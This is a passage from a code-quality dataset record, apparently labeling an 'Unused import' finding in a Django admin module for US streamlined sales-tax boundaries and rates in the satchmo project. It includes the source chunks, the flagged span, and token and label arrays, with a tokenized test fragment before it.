" ",
"was",
"n",
"'",
"t",
" ",
"provided",
" ",
"and",
" ",
"the",
" ",
"field",
" ",
"is_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"blank",
"=",
"Tru",
"e",
",",
" ",
"model",
"-",
"validation",
" ",
"shou",
"ld",
" ",
"pass",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Al",
"so",
",",
" ",
"Artic",
"le",
".",
"clean",
"()",
" ",
"shou",
"ld",
" ",
"be",
" ",
"run",
",",
" ",
"so",
" ",
"pub",
"\\u",
"date",
" ",
"will",
" ",
"be",
" ",
"filled",
" ",
"after_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"validation",
",",
" ",
"so",
" ",
"the",
" ",
"form",
" ",
"shou",
"ld",
" ",
"save",
" ",
"clean",
"ly",
" ",
"even",
" ",
"tho",
"ugh",
" ",
"pub",
"\\u",
"date",
" ",
"is_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"not",
" ",
"allow",
"ed",
" ",
"to",
" ",
"be",
" ",
"null",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"data_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"title",
"'_",
":_",
"'",
"The",
" ",
"state",
" ",
"of",
" ",
"model",
" ",
"validation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"article_",
"=_",
"Article_",
"(_",
"author",
"\\u",
"id_",
"=_",
"self_",
"._",
"author_",
"._",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"form_",
"=_",
"Artic",
"le",
"Form_",
"(_",
"data_",
",_",
"instance_",
"=_",
"article_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"list_",
"(_",
"form_",
"._",
"errors_",
")_",
",_",
"[_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Not",
"Equal_",
"(_",
"form_",
"._",
"instance_",
"._",
"pub",
"\\u",
"date_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"article_",
"=_",
"form_",
"._",
"save_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | dokterbob/satchmo/satchmo/apps/tax/modules/us_sst/admin.py | [
{
"content": "from django.contrib import admin\nfrom django.forms import models, ValidationError\nfrom django.utils.translation import get_language, ugettext_lazy as _\nfrom models import TaxBoundry, TaxRate, Taxable\n\nADDRESS_FIELDS = (\n 'oddEven', 'lowAddress', 'highAddress',\n 'streetPreDirection', 'streetName', 'streetSuffix', 'streetPostDirection',\n 'addressSecondaryAbbr', 'addressSecondaryOddEven',\n 'addressSecondaryLow', 'addressSecondaryHigh',\n 'cityName', 'zipCode', 'plus4',\n)\n\nZIP_FIELDS = ('zipCodeLow','zipExtensionLow','zipCodeHigh','zipExtensionHigh')\n\nRATE_FIELDS = (\n 'serCode',\n 'fipsStateCode',\n 'fipsStateIndicator',\n 'fipsCountyCode',\n 'fipsPlaceCode',\n 'fipsPlaceType',\n 'special_1_code',\n 'special_1_type',\n 'special_2_code',\n 'special_2_type',\n 'special_3_code',\n 'special_3_type',\n 'special_4_code',\n 'special_4_type',\n 'special_5_code',\n 'special_5_type',\n 'special_6_code',\n 'special_6_type',\n 'special_7_code',\n 'special_7_type',\n 'special_8_code',\n 'special_8_type',\n 'special_9_code',\n 'special_9_type',\n 'special_10_code',\n 'special_10_type',\n 'special_11_code',\n 'special_11_type',\n 'special_12_code',\n 'special_12_type',\n 'special_13_code',\n 'special_13_type',\n 'special_14_code',\n 'special_14_type',\n 'special_15_code',\n 'special_15_type',\n 'special_16_code',\n 'special_16_type',\n 'special_17_code',\n 'special_17_type',\n 'special_18_code',\n 'special_18_type',\n 'special_19_code',\n 'special_19_type',\n 'special_20_code',\n 'special_20_type', \n)\n\n\n\n\n#class TaxRateOptions(admin.ModelAdmin):\n#\n# jurisdictionType = models.CharField(max_length=2,\n# verbose_name=_('Jurisdiction Type'))\n# jurisdictionFipsCode = models.CharField(max_length=5,\n# verbose_name=_('Jurisdiction FIPS Code'))\n# generalRateIntrastate = models.DecimalField(max_digits=8, decimal_places=7,\n# verbose_name=_('General Tax Rate - Intrastate'))\n# generalRateInterstate = models.DecimalField(max_digits=8, decimal_places=7,\n# verbose_name=_('General Tax Rate - Interstate'))\n# foodRateIntrastate = models.DecimalField(max_digits=8, decimal_places=7,\n# verbose_name=_('Food/Drug Tax Rate - Intrastate'))\n# foodRateInterstate = models.DecimalField(max_digits=8, decimal_places=7,\n# verbose_name=_('Food/Drug Tax Rate - Interstate'))\n# startDate = models.DateField(verbose_name=_('Effective Start Date'))\n# endDate = models.DateField(verbose_name=_('Effective End Date'))\n##\n# def clean(self):\n# tax_zone = self.cleaned_data['taxZone']\n# tax_country = self.cleaned_data['taxCountry']\n# if tax_zone and not tax_country or not tax_zone and tax_country:\n# return super(TaxRateForm, self).clean()\n# else:\n# raise ValidationError(_(\"You must choose a zone or a country.\"))\n#\n#class TaxRateOptions(admin.ModelAdmin):\n# list_display = (\"taxClass\", \"taxZone\", \"taxCountry\", \"display_percentage\")\n# form = TaxRateForm\n#\n\nadmin.site.register(TaxBoundry, TaxBoundryOptions)\nadmin.site.register(TaxRate, TaxRateOptions)\nadmin.site.register(Taxable)\n#admin.site.register(TaxCollected)\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class TaxBoundryOptions(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('recordType', 'startDate', 'endDate')\n }),\n ('Zip and +4 Records',{\n 'classes': ('collapse',),\n 'fields': ZIP_FIELDS,\n }),\n ('Address Records', {\n 'classes': ('collapse',),\n 'fields': ADDRESS_FIELDS,\n }),\n ('Rates', {\n 'fields': RATE_FIELDS,\n })\n )\n list_display = ('recordType', 'startDate', 'endDate', 'zip_range', 'streetName', 'cityName', 'zipCode',)",
"metadata": "root.TaxBoundryOptions",
"header": "['module', '___EOS___']",
"index": 64
},
{
"content": "class TaxBoundryForm(models.ModelForm):\n",
"metadata": "root.TaxBoundryForm",
"header": "['module', '___EOS___']",
"index": 83
},
{
"content": " def clean(self):\n type = self.cleaned_data['recordType']\n if type in ('4', 'Z'):\n for field in ADDRESS_FIELDS:\n self.cleaned_data[field] = None\n if type == 'Z':\n self.cleaned_data['zipExtensionLow'] = None\n self.cleaned_data['zipExtensionHigh'] = None\n low = self.cleaned_data['zipCodeLow']\n high = self.cleaned_data['zipCodeHigh']\n if high is None or low is None:\n raise ValidationError(_(\"Zip-5 records need a high and a low.\"))\n elif type == '4':\n low = self.cleaned_data['zipCodeLow']\n high = self.cleaned_data['zipCodeHigh']\n low_ext = self.cleaned_data['zipExtensionLow']\n high_ext = self.cleaned_data['zipExtensionHigh']\n if high is None or low is None or low_ext is None or high_ext is None:\n raise ValidationError(_(\"Zip+4 records need a high and a low for both parts.\"))\n else:\n for field in ZIP_FIELDS:\n self.cleaned_data[field] = None\n for field in ('lowAddress', 'highAddress', 'streetName', 'cityName',\n 'zipCode', 'plus4',):\n if not self.cleaned_data[field]:\n raise ValidationError(_('Address rocord needs: low, high, street, city, zip, zip+4'))\n return super(TaxBoundryForm, self).clean()",
"metadata": "root.TaxBoundryForm.clean",
"header": "['class', 'TaxBoundryForm', '(', 'models', '.', 'ModelForm', ')', ':', '___EOS___']",
"index": 85
},
{
"content": "class TaxRateOptions(admin.ModelAdmin):\n list_display = ('state',\n 'jurisdictionType', 'jurisdictionFipsCode',\n 'startDate', 'endDate',\n 'generalRateIntrastate', 'generalRateInterstate',\n 'foodRateIntrastate', 'foodRateInterstate'\n )",
"metadata": "root.TaxRateOptions",
"header": "['module', '___EOS___']",
"index": 113
}
]
| [
{
"span": "from django.utils.translation import get_language, ugettext_lazy as _",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 69
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"django_",
"._",
"contrib_",
"import_",
"admin_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"forms_",
"import_",
"models_",
",_",
"Validat",
"ion",
"Error_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"utils_",
"._",
"translation_",
"import_",
"get",
"\\u",
"language_",
",_",
"uge",
"ttext",
"\\u",
"lazy_",
"as_",
"\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"models_",
"import_",
"Tax",
"Bound",
"ry_",
",_",
"Tax",
"Rate_",
",_",
"Tax",
"able_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"ADDR",
"ESS",
"\\u",
"FIELDS_",
"=_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"odd",
"Even",
"'_",
",_",
"'",
"low",
"Address",
"'_",
",_",
"'",
"high",
"Address",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"street",
"Pre",
"Directi",
"on",
"'_",
",_",
"'",
"street",
"Name",
"'_",
",_",
"'",
"street",
"Su",
"ffi",
"x",
"'_",
",_",
"'",
"street",
"Post",
"Directi",
"on",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"address",
"Second",
"ary",
"Abbr",
"'_",
",_",
"'",
"address",
"Second",
"ary",
"Od",
"d",
"Even",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"address",
"Second",
"ary",
"Lo",
"w",
"'_",
",_",
"'",
"address",
"Second",
"ary",
"Hig",
"h",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"city",
"Name",
"'_",
",_",
"'",
"zip",
"Code",
"'_",
",_",
"'",
"plus",
"4",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"ZI",
"P",
"\\u",
"FIELDS_",
"=_",
"(_",
"'",
"zip",
"Code",
"Lo",
"w",
"'_",
",_",
"'",
"zip",
"Ext",
"ensi",
"on",
"Lo",
"w",
"'_",
",_",
"'",
"zip",
"Code",
"Hig",
"h",
"'_",
",_",
"'",
"zip",
"Ext",
"ensi",
"on",
"Hig",
"h",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"RAT",
"E",
"\\u",
"FIELDS_",
"=_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"ser",
"Code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fips",
"State",
"Code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fips",
"State",
"Indicat",
"or",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fips",
"Count",
"y",
"Code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fips",
"Place",
"Code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fips",
"Place",
"Type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"2",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"2",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"3",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"3",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"4",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"4",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"5",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"5",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"6",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"6",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"7",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"7",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"8",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"8",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"9",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"9",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"10",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"10",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"11",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"11",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"2",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"2",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"13",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"13",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"14",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"14",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"15",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"15",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"16",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"16",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"7",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"7",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"8",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"8",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"9",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"1",
"9",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"20",
"\\u",
"code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"special",
"\\u",
"20",
"\\u",
"type",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"class",
" ",
"Tax",
"Rat",
"e",
"Optio",
"ns",
"(",
"admin",
".",
"Model",
"Admi",
"n",
"):",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"jur",
"isdi",
"ction",
"Type",
" ",
"=",
" ",
"model",
"s",
".",
"Char",
"Field",
"(",
"max",
"\\u",
"length",
"=",
"2",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"Ju",
"ris",
"diction",
" ",
"Type",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"jur",
"isdi",
"ction",
"Fi",
"ps",
"Code",
" ",
"=",
" ",
"model",
"s",
".",
"Char",
"Field",
"(",
"max",
"\\u",
"length",
"=",
"5",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"Ju",
"ris",
"diction",
" ",
"FI",
"PS",
" ",
"Code",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"genera",
"l",
"Rat",
"e",
"Intr",
"asta",
"te",
" ",
"=",
" ",
"model",
"s",
".",
"Deci",
"mal",
"Field",
"(",
"max",
"\\u",
"digit",
"s",
"=",
"8",
",",
" ",
"decima",
"l\\u",
"place",
"s",
"=",
"7",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"General",
" ",
"Tax",
" ",
"Rat",
"e",
" ",
"-",
" ",
"Intr",
"asta",
"te",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"genera",
"l",
"Rat",
"e",
"Inter",
"state",
" ",
"=",
" ",
"model",
"s",
".",
"Deci",
"mal",
"Field",
"(",
"max",
"\\u",
"digit",
"s",
"=",
"8",
",",
" ",
"decima",
"l\\u",
"place",
"s",
"=",
"7",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"General",
" ",
"Tax",
" ",
"Rat",
"e",
" ",
"-",
" ",
"Inter",
"state",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"food",
"Rat",
"e",
"Intr",
"asta",
"te",
" ",
"=",
" ",
"model",
"s",
".",
"Deci",
"mal",
"Field",
"(",
"max",
"\\u",
"digit",
"s",
"=",
"8",
",",
" ",
"decima",
"l\\u",
"place",
"s",
"=",
"7",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"Foo",
"d",
"/",
"Dru",
"g",
" ",
"Tax",
" ",
"Rat",
"e",
" ",
"-",
" ",
"Intr",
"asta",
"te",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"food",
"Rat",
"e",
"Inter",
"state",
" ",
"=",
" ",
"model",
"s",
".",
"Deci",
"mal",
"Field",
"(",
"max",
"\\u",
"digit",
"s",
"=",
"8",
",",
" ",
"decima",
"l\\u",
"place",
"s",
"=",
"7",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"Foo",
"d",
"/",
"Dru",
"g",
" ",
"Tax",
" ",
"Rat",
"e",
" ",
"-",
" ",
"Inter",
"state",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"start",
"Date",
" ",
"=",
" ",
"model",
"s",
".",
"Date",
"Field",
"(",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"Effe",
"ctive",
" ",
"Start",
" ",
"Date",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"end",
"Date",
" ",
"=",
" ",
"model",
"s",
".",
"Date",
"Field",
"(",
"verbo",
"se",
"\\u",
"name",
"=",
"\\u(",
"'",
"Effe",
"ctive",
" ",
"End",
" ",
"Date",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"def",
" ",
"clean",
"(",
"self",
"):",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"tax",
"\\u",
"zone",
" ",
"=",
" ",
"self",
".",
"clean",
"ed",
"\\u",
"data",
"['",
"tax",
"Zon",
"e",
"']",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"tax",
"\\u",
"countr",
"y",
" ",
"=",
" ",
"self",
".",
"clean",
"ed",
"\\u",
"data",
"['",
"tax",
"Count",
"ry",
"']",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"if",
" ",
"tax",
"\\u",
"zone",
" ",
"and",
" ",
"not",
" ",
"tax",
"\\u",
"countr",
"y",
" ",
"or",
" ",
"not",
" ",
"tax",
"\\u",
"zone",
" ",
"and",
" ",
"tax",
"\\u",
"countr",
"y",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"return",
" ",
"super",
"(",
"Tax",
"Rat",
"e",
"Form",
",",
" ",
"self",
").",
"clean",
"()",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"else",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"raise",
" ",
"Validat",
"ion",
"Error",
"(\\u",
"(\"",
"You",
" ",
"must",
" ",
"choose",
" ",
"a",
" ",
"zone",
" ",
"or",
" ",
"a",
" ",
"countr",
"y",
".\"",
"))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"class",
" ",
"Tax",
"Rat",
"e",
"Optio",
"ns",
"(",
"admin",
".",
"Model",
"Admi",
"n",
"):",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"list",
"\\u",
"display",
" ",
"=",
" ",
"(\"",
"tax",
"Class",
"\",",
" ",
"\"",
"tax",
"Zon",
"e",
"\",",
" ",
"\"",
"tax",
"Count",
"ry",
"\",",
" ",
"\"",
"display",
"\\u",
"percentage",
"\")",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"form",
" ",
"=",
" ",
"Tax",
"Rat",
"e",
"Form_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"admin_",
"._",
"site_",
"._",
"register_",
"(_",
"Tax",
"Bound",
"ry_",
",_",
"Tax",
"Bound",
"ry",
"Options_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"admin_",
"._",
"site_",
"._",
"register_",
"(_",
"Tax",
"Rate_",
",_",
"Tax",
"Rat",
"e",
"Options_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"admin_",
"._",
"site_",
"._",
"register_",
"(_",
"Tax",
"able_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"admin",
".",
"site",
".",
"register",
"(",
"Tax",
"Collect",
"ed",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Tax",
"Bound",
"ry",
"Options_",
"(_",
"admin_",
"._",
"Model",
"Admin_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"fieldsets_",
"=_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"None_",
",_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fields",
"'_",
":_",
"(_",
"'",
"record",
"Type",
"'_",
",_",
"'",
"start",
"Date",
"'_",
",_",
"'",
"end",
"Date",
"'_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"Zip",
" ",
"and",
" ",
"+",
"4",
" ",
"Record",
"s",
"'_",
",_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"classe",
"s",
"'_",
":_",
"(_",
"'",
"collapse",
"'_",
",_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fields",
"'_",
":_",
"ZI",
"P",
"\\u",
"FIELDS_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"Address",
" ",
"Record",
"s",
"'_",
",_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"classe",
"s",
"'_",
":_",
"(_",
"'",
"collapse",
"'_",
",_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fields",
"'_",
":_",
"ADDR",
"ESS",
"\\u",
"FIELDS_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"Rates",
"'_",
",_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fields",
"'_",
":_",
"RAT",
"E",
"\\u",
"FIELDS_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"list",
"\\u",
"display_",
"=_",
"(_",
"'",
"record",
"Type",
"'_",
",_",
"'",
"start",
"Date",
"'_",
",_",
"'",
"end",
"Date",
"'_",
",_",
"'",
"zip",
"\\u",
"range",
"'_",
",_",
"'",
"street",
"Name",
"'_",
",_",
"'",
"city",
"Name",
"'_",
",_",
"'",
"zip",
"Code",
"'_",
",_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Tax",
"Bound",
"ry",
"Form_",
"(_",
"models_",
"._",
"Model",
"Form_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Tax",
"Bound",
"ry",
"Form_",
"(_",
"models_",
"._",
"Model",
"Form_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"clean_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
